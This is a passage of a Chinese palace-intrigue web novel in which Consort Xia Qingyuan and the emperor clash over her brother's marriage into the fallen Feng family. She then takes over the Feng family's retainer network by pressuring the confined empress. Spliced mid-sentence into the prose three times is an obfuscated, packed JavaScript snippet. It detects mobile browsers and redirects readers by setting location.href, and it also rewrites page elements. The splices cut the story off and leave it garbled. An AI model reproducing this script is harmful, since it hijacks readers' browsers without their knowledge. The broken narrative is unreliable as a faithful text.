夏清圆心头一凛，敛衽上前，垂首应道：“臣妾在。” “冯夏联姻，终究关乎你家事。”萧翊的声音恢复了平日的平静，听不出太多情绪，“冯国公之罪，依律不及未涉案之家眷。如今冯家二小姐……既然幸存。” 他顿了顿，目光落在她低垂的眼睫上，缓缓问道： “你以为，此事当如何处置？” 33. 对弈 “回皇上，”她的声音清凌凌的，在寂静的殿中格外清晰，“臣妾以为，圣旨已下，婚约已定。冯氏有罪，当依国法；然冯氏女无辜，既已许配夏家，便是夏家的人。” 她顿了顿，每个字都咬得清晰： “臣妾兄长，愿依圣旨，如期迎娶冯氏二小姐。” 萧翊的耳边，有刹那的寂静。 不是真的寂静—— 殿外的风声，炭火的噼啪，冯国公压抑的抽气，皇后骤然紧绷的呼吸……所有的声音都在。 但他听不见了。 他只记得她最后那句话，在脑子里一遍遍回响，“如期迎娶。” 她说什么？ 冯家刚刚被坐实谋害皇嗣，攀诬藩王，顷刻间大厦将倾。 冯国公削爵下狱，皇后被夺印禁足，冯瑚容貌尽毁。 这个时候，正常人该怎么做？ 该惶恐叩首，泣求皇上收回成命，言夏家清白门第，不敢与罪臣之后结亲。 该明哲保身，迅速切割，唯恐沾染半分晦气。 这才是他认知里，后宫嫔妃该有的反应——惊慌，无措，依赖他的决断，等待他的“恩典”。 可夏清圆在说什么？ 她要她的兄长，娶一个“容貌尽毁”、家族倾覆的罪臣之女？ 萧翊的第一反应是荒谬。 随即，一股极其陌生的情绪涌上来——不是愤怒，不是失望，而是一种……被精准预判后，棋路被打乱的怔忡。 他忽然想起那日在临华宫，她扯着他袖子说“反正臣妾就是不想让大哥娶那二小姐”时的模样。娇憨，执拗，带着点被宠坏的天真。 他当时觉得她不懂事，看不清大局。 可现在…… 她不是不懂。 她是太懂了。 她不是要救冯瑚——新娘是谁，根本不重要。 她是要吞下冯家倒台后，残留的政治遗产。 冯国公府三朝积累，树大根深。即便家主下狱，家产抄没，可那些盘根错节的门生故旧、遍布朝野的暗线人脉、勋贵圈子里残余的影响力……不会一夜之间消失。 这些东西，像深埋地下的根须，表面看不见，却依然有生命力。 而她要的，就是借着“冯家姻亲”这个名分，让夏家的根，悄无声息地扎进那片刚刚被雷霆犁过的土壤里。 好大的胃口。 萧翊的手指，在袖中无意识地蜷缩了一下。 她是从方才太后给冯国公府求情时，开始重新思考冯夏联姻的可能性的吗？ 或许更早—— 她大概早就知道冯国公府谋害皇嗣，所以那夜在临华宫，以不愿高攀为托词，演出了那样一场足以骗过他的、属于“宠妃”的任性？ 她今日主动要来御书房，根本不是因为所谓的“担忧”。 她是来收割的。 她要当着他的面、当着三司重臣、当着太后、程序正义地，当着这个王朝权力核心的所有人——宣布。 宣布她要从这场他亲手点燃的焚天大火里，扒出冯家烧焦的骨架，敲骨吸髓，啜饮最后的养分。 一股冰冷的怒意瞬间窜上他的脊柱，不是纯粹的愤怒。那里面混杂着更黑暗、更灼人的东西—— 像是看着自己精心豢养的雀鸟，忽然撕开柔软的羽毛，露出底下森白的、属于鹰隼的利爪。 你凭什么？ 这个念头第一次如此清晰地浮现在萧翊脑海。不是帝王的威权诘问，而是一种近乎私密的、被冒犯的惊怒。 他给她的还不够多么？ 恩宠，位份，家族的擢升，甚至容忍她那些不合时宜的娇憨与逾矩。他以为她该满足，该感恩，该在他的羽翼下安分地做个“特别”的宠妃。 可她竟然敢—— 敢用他教给她的聪慧，来算计他。 敢用他纵容的“特别”，来试探他的底线。 敢在他刚刚碾碎冯家、震慑朝野、将权柄攥得更紧的这个当口，像个精明的商人般，伸手索要“战利品”。 而且她要的，不是金银珠宝，不是虚名荣耀。 是冯家倒塌后，那些隐形的、黏连着血肉骨髓的根系。 是那些散落各地的门生故吏，是宗亲世家一荣俱人、一损俱损的“自己人”印记，是即便抄家灭族也无法一刀斩断的、属于百年世家最后的“政治遗产”。 她在为夏家铺一条后路。 不，不是后路——是血包。 她在怕，怕孤臣被党争耗尽。 萧翊忽然想起那夜在临华宫，她扯着他袖角，眼里含着泪光说“反正臣妾就是不想”。 那时他只觉得她天真任性，需要被敲打，需要明白这宫里的规矩。 现在他才明白，那不是任性。 那是试探。 她在试探他对夏家的底线，试探他对她“任性”的容忍度，试探他…究竟把她放在棋盘的哪个位置。 他的答案大概没能让她满意。 所以，她也不再在棋盘上任他摆布。 她要上桌，对弈。 这个认知带来的不是愤怒，而是一种带着战栗的亢奋。 像独自执棋半生的弈者，看见对面空无一人的位置，终于坐下一个影子。 殿内的空气凝固着。 吴全顺的呼吸几乎停了，额角渗出细密的冷汗。 冯国公瘫在地上，浑浊的眼睛死死盯着夏清圆，像是濒死的兽看着最后一滴水源。 萧翊能感觉到太后投来的目光，那目光里有审视，有估量，或许还有一丝不易察觉的——幸灾乐祸。 她在看，看这位年轻的帝王，如何处置他“宠爱”出的、反噬自己的猎物。 可惜，太后还是不了解他。 萧翊缓缓抬眼，目光落在夏清圆脸上。 他看得极仔细，像第一次见她。看她的眉骨走向，看她鼻梁挺直的弧度，看她唇瓣微抿时那道近乎锋利的线条。 然后，他看见了。 在她平静无波的眼眸深处，在那片伪装恭顺的表象之下——有一簇极细微、却烧得灼人的火。 那是野心。 那是他也有的，属于掠食者的野心。 她在赌。 赌他不会破坏她的“道德正义”，赌他会对世家留一线生机，赌他或许……会欣赏这份胆魄。 该死。 他确实欣赏。 这种欣赏仿佛临水自照。 他欣赏她的眼光，欣赏她的算计，欣赏她抓住时机时那种孤注一掷的果断。 更奇怪的是，他感到一种被刺痛后的快意。 像是长久以来独自背负的重担，忽然有人试图分担——哪怕这分担的方式是抢夺，是算计，是背叛。 “婉昭仪。”他终于开口，声音比想象中更平稳，却带着一种金属刮擦琉璃的质感，刮得人耳膜生疼，“你兄长娶的，将是一个罪臣之女。” 他顿了顿，像是通过问话，来确定他对她的揣摩： “夏家清名，来之不易。你父亲在朝堂上晒金明志，为的就是‘清白’二字。如今你要夏家，娶一个谋害皇嗣、攀诬亲王的罪臣之女——” 他身体微微前倾，目光如淬了毒的钩子，锁住她的眼睛： “你让天下人，如何看夏翀？” 这是诛心之问。 将一场政治算计，拔高到道德与家族存续的层面。 夏清圆的睫毛颤了颤。 极轻微的颤动，像蝴蝶濒死时最后一下振翅。 然后，她抬起了眼—— 四目相对。 萧翊在那双眼睛里，第一次看见了毫不掩饰的、冰冷而清醒的对峙。 “正因父亲一生清正，夏家才更不能做背信弃义之事。”她的声音依旧平稳，却多了一丝难以察觉的、针锋相对的锐利，“婚约是天家所赐，若因岳家获罪便毁约，世人不会说冯家有罪当诛，只会说夏家趋炎附势，见风使舵。” 她顿了顿，一字一顿： “清名易损，难建。父亲可以晒金明志，因此，兄长……也不能背负‘拜高踩低’的污名。” 她在偷换概念。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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萧翊盯着她，看了很久。久到殿内的空气都凝成了冰，久到太后都微微蹙起了眉。 然后，他极轻、极缓地问了个无关紧要的问题：“朕赏你的那顶珍珠翟冠，怎么不戴了？” 可夏清圆的背脊，几不可察地僵了一瞬。 她抬起头，目光第一次出现了细微的闪躲，但很快又稳住了： “翟冠华贵，今日事态紧急，臣妾……未来得及。” 谎话。 萧翊眼底掠过一丝冰冷的笑意。 “三日后，你兄长大婚，朕准你出宫观礼，记得戴上。”萧翊缓缓道。 这是恩典。 也是枷锁。 是提醒她——你今日得到的一切，包括此刻站在这里与我博弈的“资格”，都是我给的。 夏清圆的嘴唇抿紧了。 极细微的动作，但萧翊看见了。 他心头那簇暗火，烧得更旺了些。 “谢皇上。”她最终说，声音很轻。 然后，她转身，消失在了殿外漫天的风雪里。 风波告一段落。 萧翊独自坐在御案后，随手用凉透了的茶水熄了炭火，放纵寒意从四面八方渗透进来。 他拿起案上那枚羊脂玉扳指，对着窗外惨白的天光，仔细地看。 扳指内壁的缠枝莲纹，在光线下清晰得狰狞。 他忽然想起那日她把这枚扳指塞进他掌心时，指尖的温度。 温热的，带着一点颤抖的，属于“夏清圆”的温度。 现在，那温度凉了。 可这股凉意，却奇异地、一点一点，点燃了他心底某种沉寂已久的暗火。 他想看她算计成功时眼里闪过的光。 想看她被拆穿时的躲闪。 想看她在他掌心挣扎、反抗、最终不得不屈服——或者，最终与他并肩，共同抵抗被权力蚕食的阵痛。 34. 分寸 出了御书房，夏清圆被扑面而来的冷风猛地拍醒，方才紧绷的神魂骤然一松，才后知后觉地感觉到—— 怕。 不是怕皇后的歇斯底里，不是怕太后深不可测的盘算，甚至不是怕这桩婚事可能带来的无穷后患。 是怕他。 他方才那一眼，像剥开了她层层皮肉的剔骨刀，看清了她所有算计的脉络。 连她自己都尚未理清的野心，都被他看得分明。 可她不后悔。 必须要抓住这个千载难逢的机会 皇上并未彻底削去恩荫，冯国公府世子年幼，现在便如稚子怀金于闹市场，谁都想在这苟延残喘的百年望族身上分些残留的膏腴。 同样的，田产、人脉、在京势力、权贵纽带，这些也是根基浅薄的夏家最急需的“硬通货”。 拒绝这次联姻，只是暂时避开一个“坏亲家”。 但如果，这次联姻成了，夏家便有可能将这些散落的政治遗产慢慢吸纳、转化，完成一次凶险却必要的原始积累。。 只是，委屈大哥了。 想到夏青樟，她心头猛地一抽，被愧疚紧紧包裹着。 大哥那样温厚持重的性子，只要她开口，哪怕心中千般不愿，万般委屈，也一定会点头。 还有他……会怎么想？ 御座上那个“准”字落下时，她几乎听见自己脑中某根弦绷紧到极致、几欲断裂的铮鸣。 她读懂了萧翊眼中那瞬闪过的惊怒，以及沉淀下去后，比怒意更令她心悸的……审视。 他看穿她了。 这认知比寒风更刺骨。 他看穿了她的野心，看穿了她试图在家族与他之间寻找平衡，甚至看穿了她想利用他帝王的“金口玉言”来反制他。 他会觉得被冒犯吗？会觉得她贪得无厌、得寸进尺吗？ 还是，如她最隐秘赌注的那样，反而会因这份“胆魄”而……另眼相看？ 后一种可能，让她心尖颤栗，分不清是恐惧还是某种更复杂的期待。 会不会彻底失宠？ 有可能。帝王心术，最忌后妃野心膨胀，干涉前朝，结党营私。 她今日所为，桩桩件件都踩在红线上。 一股难以言喻的隐秘酸涩猝然涌上喉间。 寒风卷着雪沫，扑在她滚烫的脸颊上，带来刺痛的清醒—— 没有回头路了。 后续几日，前朝风雷疾走。 刑部以罕见的高效厘清冯家案卷，奉旨封存—— 冯国公下狱，国公爵位降为“安定伯”，丹书铁券收回，半数家产抄没。 曹扣军彻底失势，贤妃却反常地亲修家书往陇西，劝告宗族“感念圣恩，子弟当勤勉报国”。 皇后禁足削权，大皇子的归属成了新的暗流涌动之地。 而原本对科举新政犹疑观望的各方势力，经此一役，终于看清了帝王不容置疑的决心。不过数日，守旧派态度陡然转变—— 世家唯恐被冯家牵连，竟异常积极地为科举改革募款，意图“破财消灾”； 宗室奏折雪片般飞入宫中，尽是“圣明烛照”、“功在千秋”的颂圣之词； 康王忙于应付皇上“证明清白”的“好意”，太后亦推说“凤体违和”，从漩涡中悄然抽身。 只是，所有人心照不宣地遗忘了凤仪宫。无人敢提废后，更无人敢求情。 萧翊整合连日召见重臣与寒门学子的意见，新政终以雷霆之势落地—— 设立“科举革新事务处”，合并原督查班。该机构直隶御前，不占旧有编制，薪酬由内帑特批专款直接拨付，彻底斩断与旧官僚体系的利益勾连。 其职权涵盖制定糊名誊录细则、招募培训誊录员、巡视考场、复核试卷，裁决权高于礼部常规流程。 同时，明令取缔“行卷”旧制，并开设“经世实务特科”：以应对水患、边务等急务为名，由皇帝下诏求才。考试内容直指策论、算术、律法等实学，并明文允许寒门自荐与地方官举荐。由革新事务处全权负责，意在快速选拔一批可用之才，充实关键岗位。 圣旨颁下，士林振奋，民间称颂。一股崭新的、务实求变的风气，悄然涤荡着朝堂。 而夏清圆像是力竭了，过了几天两耳不闻窗外事的日子，每天使唤锦娘换着花样地做吃的，吃饱了就在书房里重新翻开那些蒙了尘的画本。 其间，有不少来拜访的宗室女眷，也被她推辞染了风寒挡了过去。 她似乎料定了萧翊不会来，也懒得打扮，长发用根玉钗半挽着，只穿着件家常棉袍，松松垮垮地裹着。 所以萧翊来时，便瞧见这么一幅景象—— 她正没骨头似地窝在窗下的摇椅里，摇椅咯吱轻响。 暖炉烧得极旺，将她半边脸颊映得红扑扑的。 她手里捧着一只白玉小碗，碗里盛着碎冰与紫红的梅子，指尖拈起一颗，正往唇边送。 听见动静，她侧过头来，动作和表情都有一刹那的凝滞。指尖那颗梅子“啪嗒”一声，掉回碗里，溅起几点冰凉的汁水。 萧翊已朝她走了过来。 他今日未着朝服，一身墨蓝织金云纹的常服，玉冠束发，步履间带着外间未散的寒气。 脸上瞧不出喜怒，目光却将她从头到脚扫了一遍，最后落在她手里那碗冰镇梅子上。 “胖了。”他开口，声音平静无波，听不出是陈述还是评判。 夏清圆下意识捏了捏自己的脸颊，才反应过来他是在说自己。 她这几日确实吃得有些多，被这么直白地点破，耳根不由泛起一丝窘迫的热意，却又因他这突如其来、没头没脑的一句，驱散了心底那点惶然。 她急着起身见礼，手里的白玉碗往旁边小几上一搁，碗底与桌面磕出清脆一响。 “皇上倒是清减了些。”她抬起眼，目光在他脸上逡巡片刻，语气很轻，听不出是关心还是别的什么，“前朝的事……都顺当了？” 萧翊没答她这试探，径自拉着她在摇椅旁的绣墩上坐下。 摇椅本就窄小，他这一坐，两人之间的距离骤然拉近，暖炉的热气混杂着他身上清冽的松柏气息，无声地弥散开来。 他目光掠过她松散的发髻、家常的棉袍，最后落回她脸上。 那双杏眼里的神色有些复杂，像是忐忑，又像是努力维持的平静，底下还藏着一丝不易察觉的……尴尬？ “冯家的案子，刑部正在收尾。”他开口，语气转入了正题，却依旧不疾不徐，“但有些事，官中不便插手。” 夏清圆的心提了起来，指尖无意识地蜷缩进袖中。 “皇后母亲新丧，内宅乱成一团，尚未成年的世子如何安置、剩余的资产如何暂行打理、还有……” 他顿了顿，目光在她脸上停留一瞬，“皇后虽被禁足，但冯家毕竟是她的母族。大皇子的体面，朕还得顾着。” 他身体微微前倾，暖炉的光在他深邃的眸中跳跃：“这些内宅琐事、人情往来，官中不好插手，交给底下的奴才又怕失了分寸。你去一趟凤仪宫，见见皇后，把该了结的了结了，该安排的安排了。” 这不是商量，是吩咐。 是帝王在风波暂歇后，对夏清圆这颗“不安分”的棋子，重新下达的指令。 也是对冯夏姻亲这个新身份的第一次正式启用——从此，夏家与冯家残余势力的粘连与切割，她需得亲自上手。 夏清圆听懂了。一股沉甸甸的东西压上心头，这本就是她伸手去够时，早该料到的责任。 “臣妾……”她垂下眼帘，声音有些干涩，“该以何种身份去？又以……何种立场去处置？” “你是朕的昭仪，也是冯家如今名义上唯一的姻亲。”萧翊的声音很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929247|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳，带着一种冷酷的清晰，“至于立场……” 他忽然伸手，指尖轻轻拂过她散落在颊边的一缕发丝，动作温柔，说出来的话却带着寒意：“你当初在御书房，替你兄长应下这门亲事时，不就已经选好了立场么？” 夏清圆微微一僵。 那日的对峙与算计，彼此心知肚明。此刻被他这样轻描淡写地提起，像一根细针，精准地刺破了这些时日她刻意维持的平静假象。 暖炉里炭火“噼啪”炸开一朵小小的火花。 殿内一时寂静，只有两人轻浅的呼吸声交织。空气里弥漫着暖香、梅子酸甜的气息，以及一种微妙而紧绷的张力。 忽然，萧翊的目光落在她方才搁下的白玉碗上。“还吃冰？” 他语气听不出情绪，“身子好了？” 夏清圆怔了怔，才意识到他或许听闻了她“染风寒”的托辞。 她脸上那点强装的镇定有些挂不住，含糊道：“已经无碍了。” 萧翊没再追问，却也没移开目光。 他就这么看着她，看着她因他的注视而逐渐泛红的耳尖，看着她微微颤动的睫毛，看着她下意识抿紧的唇瓣。 然后，他极轻地叹了口气。 那叹息轻得像羽毛拂过心尖，却让夏清圆浑身一颤，猛地抬眼看他。 萧翊脸上没什么表情，但眼底深处那层冰封的锐利，似乎融化了一角，露出底下些许复杂的、她看不懂的思绪。 像是无奈，又像是一点极淡的……放纵？ “三日后你兄长大婚，”他忽然转了话题，声音也放低了些，“朕准你出宫。戴上该戴的，去见该见的。” 他指的是那顶珍珠翟冠，也是她“婉昭仪”的身份。 这算是安抚？是在告诉她，他不再追究之前的冒犯了？还是提醒她别忘了本分？ 夏清圆心头五味杂陈，愣愣地点了点头。 萧翊似乎满意了，终于将目光从她脸上移开。放松了些，重新靠回椅背，闭目养神。 夏清圆则坐在一旁发呆，目光落在他带着疲惫的脸上，心里乱糟糟的。 一刻后，他起身时，随手拿起了小几上她看了一半的话本，翻了两页，眉头微挑：“《月下奇缘》？还没看腻？” 语气里带着点熟悉的、久违的调侃。 夏清圆脸颊一热，伸手想夺回来，却被他轻轻避开。 指尖相触的瞬间，两人俱是一顿。 那温度一触即分，却在皮肤上留下鲜明的烙印。夏清圆慌忙收回手，心脏在胸腔里不争气地跳快了几拍。 萧翊将话本合上，放回原处，手指在封面上无意识地敲了敲。“行了，” 他站起身，高大的身影在夏清圆面前投下一片阴影，“朕还有折子要批。凤仪宫那边……你自己把握分寸。” 他没有说“朕相信你”，也没有说“别让朕失望”。 但这句“自己把握分寸”，已是一种默许，甚至是一点有限的放权。 夏清圆跟着站起身，这次规规矩矩地福了福：“臣妾遵旨。” 萧翊走到殿门边，脚步顿了顿，没有回头，只留下一句：“天还冷，少吃些冰。” 说罢，帘子一掀，带着外间的寒气，走了出去。 殿内重归寂静，暖炉依旧烧得旺，梅子甜香犹在。 夏清圆站在原地，半晌，缓缓抬手，摸了摸自己依旧有些发烫的耳垂。 方才那一刻的紧绷、试探、尴尬，以及最后那一点若有似无的、别扭的关切，混杂在一起，什么滋味都有。 她走回摇椅边，重新端起那碗冰镇梅子，指尖触到碗壁沁人的凉意，又让人重新清醒了些。 许久，她捻起一颗梅子，放入口中。 酸，甜，还有冰渣化开时刺刺的凉，直冲脑门。 她轻轻打了个哆嗦，却将那颗梅子，慢慢咽了下去。 35. 交割 次日清晨，天光尚未彻底明亮，檐角还挂着前夜的霜凌。 夏清圆刚梳洗停当，正要往凤仪宫去，周全便悄步入内，垂首禀告—— “主子，大皇子殿下在宫门外求见。” “大皇子？”夏清圆微微一怔，心头飞快盘算。 昨夜萧翊并未提及将大皇子托付于她，此刻突然前来，是何用意？ 但人已到了门前，若避而不见，传扬出去，言官的唾沫怕是能将临华宫淹了。 她轻吁一口气，稳住心神：“请大殿下进来。” 既不能怠慢，亦不可过于热络。她转向锦娘低声吩咐：“你去趟御书房，就说大皇子在临华宫稍坐，稍后周全会送他去资善堂。” 话音未落，一道略带稚气却刻意端着腔调的声音已从门口传来：“不必了。” 萧昀踏过门槛。 数月不见，他身量拔高不少，已褪去几分孩童的圆润，眉目间依稀有了少年轮廓。 他穿着皇子常服，背脊挺得笔直，神情却带着一种与年龄不符的、故作老成的疏离。 “父皇正接见赫连部使臣，无暇见我。”他目光扫过殿内，最后落在夏清圆脸上，并无见礼之意。 夏清圆心中诧异，面上仍是温婉：“今日资善堂休沐？” “母后近日也不知忙些什么，本殿正好清闲。”他语气轻松，显然尚不知凤仪宫惊变。 瞥见几上那碟新制的羊脂卷，他径自上前，连盘端起，翻身仰卧在窗边那张铺了软垫的小榻上，拈起点心便往嘴里送。 “殿下，皇后娘娘吩咐过，炸物燥热，不宜多用……”随侍的小太监慌忙上前，声音发颤。 “都说了母后没空！”萧昀眉头一拧，语气陡然转厉，“再啰嗦，仔细你的皮！” 夏清圆看在眼里，心火暗窜—— 这孩子进门不行礼，举止散漫，言辞倨傲，与皇后在时那副规矩谨慎的模样判若两人。 不过短短数日，何至于此？ “还有别的么？”萧昀又灌了口茶，抹了抹嘴角的油光，“龙鳞酥？百果酥？一并端来。” 这是将临华宫当成膳房了？ 夏清圆压住心头的无奈，拿起帕子替他拭去衣襟上的点心碎屑，语气尽量和缓：“殿下与本宫…似乎，不算熟稔？” 萧昀接过锦娘新奉上的龙鳞酥，大口咀嚼，腮帮鼓动，目光却在她身上逡巡，带着不加掩饰的打量。 “怎么不熟？上回临华宫死人的时候，本殿随母后来过。” 他嗤笑一声，稚嫩的嗓音里透出不合时宜的刻薄，“你那会儿吓得脸色发白，活像只没胆的鹌鹑。” “呼——”夏清圆暗暗吐出一口浊气，强按下想将他拎起来教训一顿的冲动。“殿下今日来，可是有事？” “宫里都说你得宠，本殿来看看，你这儿有什么新鲜玩意儿。”萧昀丢开吃剩的酥皮，扯过榻上的狐皮毯子往身上一盖，竟是要躺下，“乏了，补个觉。” 夏清圆眼角在跳—— 这孩子言行举止，浑似个被骄纵坏了的纨绔。欠揍！ 她看了眼滴漏，不再多言，只吩咐周全：“你在此伺候殿下，仔细些。锦娘，去御书房外候着，待皇上得空，即刻禀报大皇子在此。” 言罢，不再耽搁，乘辇前往凤仪宫。 记忆里初次踏入凤仪宫请安时，那满殿的织金富丽、氤氲的牡丹暖香，曾让她真切体会到何为“天家富贵”。 而如今，不过短短数日，昔日的煊赫已荡然无存。 宫门冷清，阶前积雪未扫，只余几只寒鸦在枯枝上哑声啼叫。空气中弥漫着冰雪的凛冽，更深一层，是人心涣散后特有的、萧瑟的死气。 她明悟：在这深宫，无论是人、是物，乃至草木，皆需仰仗权力方能鲜活。 皇后端坐于临窗的书案后，正执笔书写。 御前那日的崩溃已无踪迹，她恢复了惯常的端庄姿态，只是脸色苍白得近乎透明，眼底布满血丝。 见来人是夏清圆，她眼中掠过一丝了然，放下笔，声音干涩：“皇上让你来……是连最后一面，都不愿见了？” 夏清圆心下一动。 那日御前，当皇后谋害皇嗣的罪行被揭破时，萧翊的反应并非震怒，而是一种带着讥诮的了然与浅淡的失望。 帝后之间，似乎并无寻常夫妻的情分，更像一场心照不宣的清算。 “前朝事务冗杂，皇上确不得闲。”她实话实说，语气里刻意掺入一丝不易察觉的安抚。 皇后只低低冷笑，显然不信：“直说吧，是废后诏书，还是……鸩酒白绫？” 夏清圆缓缓摇头。 奇怪的是，目睹皇后落魄至此，她心中并无预想中的快意，反倒生出一缕物伤其类的苍凉。 她取出袖中誊录的文书，声音平静：“三日前，安定伯夫人殁了。” “安定伯”三字让皇后怔忡片刻，随即，她眼圈倏然泛红，嘴角却扯开一个比哭还难看的笑：“也好……免遭落魄之罪，也是福气。” “这是刑部罚没后，冯府所余资产的明细。”夏清圆将册子推至案前，“府中眼下无人主事，皇上准您过目。您看，如何处置妥当？” “你想如何处置，便如何处置。”皇后抬眼，目光锐利如锥，“何必惺惺作态？你当日接下联姻，图的不就是这些么？” 她语带不甘：“用我冯家的残势，去补你夏家的短。” 夏清圆并未因这讥讽动怒，也未否认。 她只是展开另一份待办清单，笔墨已备，语气公事公办：“世子年幼，当从冯氏宗族中择一敦厚贤能、颇有声望者代为教养。娘娘以为，何人堪当此任？” 皇后凝视她片刻，终是吐出一个名字。 夏清圆提笔记下，笔尖沙沙，在寂静殿中格外清晰。 “刑部抄没后，尚余御赐与私置田产合计五万亩；京郊园林两处；古董字画百余件；现银七十万两。” 她念着数字，每报一项，心中对“瘦死的骆驼比马大”便多一分实感，也更警醒——夏家，绝不可重蹈覆辙。 “树倒猢狲散，分家在所难免。这些产业，娘娘打算如何分割？” 皇后闭了闭眼：“御赐田宅不可动。余下……世子留七成，其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933567|192431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余三成，各房均分便是。” 她见夏清圆运笔如飞，所录条目径直写在那份预备呈递御前的奏折上，不由疑道：“你……不取分毫？” 夏清圆不答，直到将产业条目悉数录毕，合上奏本，才另取出一册空白蓝皮簿子。 抬眸，缓声道：“门生故吏。” 皇后短暂怔忪，旋即，竟低笑起来：“你不贪财。但你贪的，更大。”她恍然，“是本宫小瞧了你。” 国公府最珍贵的，或许不是库房里的百万金银，而是三样看不见的东西：一张能直达天听的关系网、一个在关键时刻能调动资源的信誉符号，以及一本记录着百年官场恩怨与人情往来的“私账”。 后者，往往比金银更致命，也更诱人。 “即便娘娘不念冯瑚，世子总是您的亲弟弟，尚未及冠。” 夏清圆目光沉静，无悲无喜，只陈述利害，“三日后礼成，冯夏便是姻亲，休戚与共。若无嫔妾与夏家在后周旋打点，您觉得，世子可能抵挡住宗族内外的瓜分蚕食？” 她顿了顿，语气依旧平稳：“但嫔妾，亦不做无利可图之事。” 皇后听懂了。 将冯家的政治遗产交予夏家经营，有姻亲之名，夏家不至于敲骨吸髓，但也必会抽取应有的利益。 然而，与其被群狼分食殆尽，不如与夏家合作——至少，夏家行事在皇帝眼皮底下，总会留有分寸。 足足半个时辰，皇后才将冯家在朝野上下、盘根错节的关系网络——亲属、故旧、门生——逐一交代清楚。 “还有。”夏清圆笔下未停。 “还有？”皇后蹙眉。 “宫中。”夏清圆搁笔，抬眼直视她。 “婉昭仪莫不是失心疯了？”皇后打断她，声音陡然转冷，“本宫何来……” “七日后，科举开考。”夏清圆打断她的声音不高，却字字清晰，“娘娘的二弟名列考生之中，但届时步入考场的，会是锦娘的弟弟——林世安。” 她看着皇后瞬间巨变的脸色，继续道：“此事，嫔妾从未对任何人提及，皇上亦不知情。此刻，二公子想必正踌躇满志，欲借科场为冯家挣一个翻身的机会。” “新政后的首考，皇上的重视，娘娘心知肚明。若二公子寻枪手代考之事，在开考当日、于众目睽睽之下被揭发——” 后果不言而喻。 那将不仅是帝王的震怒，更是天下士林的口诛笔伐。冯家残存的仕途希望，将就此彻底断绝。 皇后指甲深深掐入掌心，声音从牙缝里挤出：“你……威胁本宫？” “嫔妾不敢。”夏清圆自始至终神色未变，仿佛只是在分析一桩寻常利弊，“嫔妾根基浅薄，宫中步步荆棘，所求不过借娘娘之余荫，谋一个安身立命之所。” 皇后死死盯着她，怒极之后，眼底反而掠过一丝奇异的恍然。 “你这般聪慧…”她忽然扯了扯嘴角，语气飘忽，“倒让本宫，想起另一个人。” 她向前倾身，声音压得极低，带着一丝不易察觉的探询： “那日御书房外……皇上是否，先见了德妃？” 36. 前尘 香线袅袅腾起，烟迹在半空打了个旋，又无力地散开。 “本宫就知道。德妃不会放过这个落井下石的机会。” 夏清圆眉心微蹙：“德妃……不是与贤妃不睦么？” “贤妃？她不过是看不惯皇上待德妃不同。”皇后嗤笑一声，指尖无意识地摩挲着袖口繁复却已黯淡的绣纹，“那点争风吃醋的把戏，算不得什么。” 她顿了顿，目光在夏清圆脸上停留片刻，似在掂量。 良久，她起身，从博古架深处取出一只鎏金狻猊香炉，拈起一截素心兰香点燃。青烟笔直而上，在凝滞的空气里切开一道细痕。 “冯家日后……少不得要仰仗你。”她声音低下去，带着某种破釜沉舟的沙哑，“有些旧事，你还是知道为好。” “德妃出身将门。她父亲曾是先皇的禁军统领，兄长是武仁太子的东宫戍卫官。” 皇后目光透过缠绕的烟，看向更远的地方，“这样的家世，她本该是太子妃的。可就在议亲那日——武仁太子，暴毙东宫。” 殿内陡然死寂。 “先帝震怒，下令彻查，刑狱大兴。可查来查去……”皇后扯了扯嘴角，似在嘲讽，“最后却只贬了几个太医了事。” “德妃父兄以‘戍卫不力’之罪被贬往西境，无诏不得返京。之后，先帝一纸诏书，将她赐给了当时还是三皇子的皇上。” “起初那几年，皇上待她极好。”皇后声音飘忽起来，像在追溯一场褪色的旧梦，“那般盛宠……连本宫都要避让三分。” 夏清圆静静听着。 “我冯家的一品国公的爵位，也是先祖真刀真枪从尸山血海里挣出来的。便是在先帝朝，亦是御前近臣。”皇后语气里掺进一丝复杂的骄傲与痛楚，“后来西境战事吃紧，我兄长奉命带两千兵马押送粮草辎重前去驰援……” 她忽然顿住，喉头滚动了一下。 “那两千兵马，连人带粮，如同人间蒸发。”每个字都像从齿缝里挤出来，“皇上派人查过，踪迹全无。” “之后……坊间便有传言，说我兄长携军资投敌。”皇后闭上眼，长睫剧烈颤动，“虽无实证，冯家为避嫌，也只能渐渐淡出朝局。” “而德妃父兄因补给断绝，苦战数日，最终……战死沙场。” 夏清圆指尖猛地收紧。 “当时德妃正有身孕，惊闻噩耗血崩，孩子也没保住。”皇后指尖一颤，“自此，她便恨毒了我冯家。” 殿内只剩下香线燃烧时极细微的嘶响。窗棂外天色晦暗，铅云低垂，压得人喘不过气。 皇后睁开眼，眸底一片荒芜的茫然，“本宫这些年暗中派人寻过兄长下落，皆是无功而返。连皇上……怕也认定他叛国投敌了。” 她忽然倾身向前，抓住夏清圆的手腕。那力道极大，指甲几乎掐进肉里：“可他前途无量！冯家是三朝元老，他有什么理由叛国？！” 